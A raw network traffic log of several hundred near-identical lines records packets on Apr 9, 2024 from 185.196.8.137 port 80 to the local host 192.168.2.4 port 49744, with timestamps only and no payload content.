Apr 9, 2024 14:54:07.438491106 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.438523054 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.438601971 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.438673973 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.438766003 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.438858986 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.438921928 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.438955069 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.439079046 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.439111948 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.439187050 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.439219952 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.439250946 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.439306021 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.439357042 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.439388990 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.439481974 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.439668894 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.439702988 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.439783096 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.439815044 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.439879894 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.439913034 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.440035105 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.440068007 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.440099955 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.440130949 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.440252066 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.440301895 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.440373898 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.440407991 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.440438986 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.440470934 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.440534115 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.440567017 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.440598965 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.440630913 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.440696001 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.440727949 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.440825939 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.440857887 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.440888882 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.440921068 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.440952063 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.441205025 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.441239119 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.441270113 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.441387892 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.441438913 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.441471100 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.441504002 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.441618919 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.441651106 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.441682100 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.441725969 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.441862106 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.441900969 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.441934109 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.441966057 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.442028999 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.442060947 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.442166090 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.442198038 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.442334890 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.442367077 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.442476988 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.442604065 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.442636013 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.442667961 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.442840099 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.442954063 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.443027973 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.443124056 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.443198919 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.443270922 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.443303108 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.443377972 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.443521976 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.443631887 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.443794966 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.443905115 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.443938017 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.444005013 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.444039106 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.444071054 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.444164991 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.444267035 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.444324970 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.444422007 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.444466114 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.444569111 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.444602013 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.444633007 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.444714069 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.444776058 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.444890976 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.445008039 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.445044994 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.445077896 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.445195913 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.445305109 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.445368052 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.445444107 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.445508003 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.445569038 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.445615053 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.445785046 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.445821047 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.445858955 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.446032047 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.446069956 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.446111917 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.446125984 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.446180105 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.446239948 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.446357012 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.446429968 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.446537018 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.446592093 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.446696043 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.446788073 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.446803093 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.446899891 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.446938038 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.446994066 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.447072983 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.447146893 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.447201014 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.447238922 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.447312117 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.447355032 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.447446108 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.447485924 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.447531939 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.447593927 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.447609901 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.447742939 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.447789907 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.447844028 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.447890043 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.447993994 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.448050976 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.448160887 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.448199034 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.448266983 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.448384047 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.448426962 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.448519945 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.448637962 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.448653936 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.448714972 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.448848009 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.448890924 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.449044943 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.449090958 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.449136972 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.449186087 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.449240923 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.449429989 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.449469090 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.449484110 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.449512959 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.449568987 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.449729919 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.449790955 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.449805021 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.449834108 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.449884892 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.449944019 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.450035095 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.450050116 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.450155973 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.450201988 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.450365067 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.450404882 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.450418949 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.450503111 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.450517893 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.450570107 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.450609922 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.450624943 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.450684071 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.450778961 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.450822115 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.450920105 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.450964928 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.450980902 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.451018095 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.451109886 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.451168060 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.451268911 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.451311111 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.451407909 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.451564074 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.451601028 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.451615095 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.451689005 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.451739073 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.451755047 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.451884031 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.451930046 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.451945066 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.452028036 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.452106953 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.452146053 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.452274084 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.452289104 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.452327967 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.452397108 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.452496052 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.452541113 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.452640057 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.452776909 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.452910900 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.452925920 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.453067064 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.453130960 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.453191996 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.453300953 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.453315973 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.453372955 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.453550100 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.453596115 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.453705072 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.453979969 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.454027891 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.454085112 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.454118967 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.454170942 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.454230070 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.454380035 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.454395056 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.454432964 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.454503059 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.454519033 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.454561949 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.454596043 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.454658031 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.454713106 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.454727888 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.454775095 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.454852104 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.454868078 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.454994917 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.455013037 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.455126047 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.455168962 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.455285072 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.455310106 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.455367088 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.455435991 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.455504894 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.455524921 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.455658913 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.455679893 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.455741882 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.455763102 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.455837965 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.455857992 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.455877066 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.455980062 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.456000090 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.456038952 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.456110954 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.456156969 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.456207991 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.456265926 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.456340075 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.456360102 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.456381083 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.456425905 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.456445932 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.456535101 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.456588030 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.456608057 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.456626892 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.456746101 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.456799030 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.456906080 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.456993103 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.457036018 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.457093954 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.457175016 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.457194090 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.457263947 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.457386971 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.457406998 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.457453966 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.457551956 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.457622051 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.457689047 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.457834005 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.457890987 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.458067894 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.458087921 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.458117962 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.458137989 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.458224058 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.458244085 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.458288908 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.458333969 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.458492994 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.458525896 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.458568096 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.458658934 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.458753109 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.458772898 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.458842039 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.458952904 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.459005117 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.459131002 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.459248066 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.459302902 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.459321976 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.459413052 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.459486961 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.459506989 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.459594011 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.459642887 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.459768057 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.459794998 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.459853888 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.459899902 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.460000038 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.460067987 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.460165024 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.460237026 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.460257053 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.460377932 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.460445881 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.460465908 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.460484982 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.460587025 CEST	80	49744	185.196.8.137	192.168.2.4
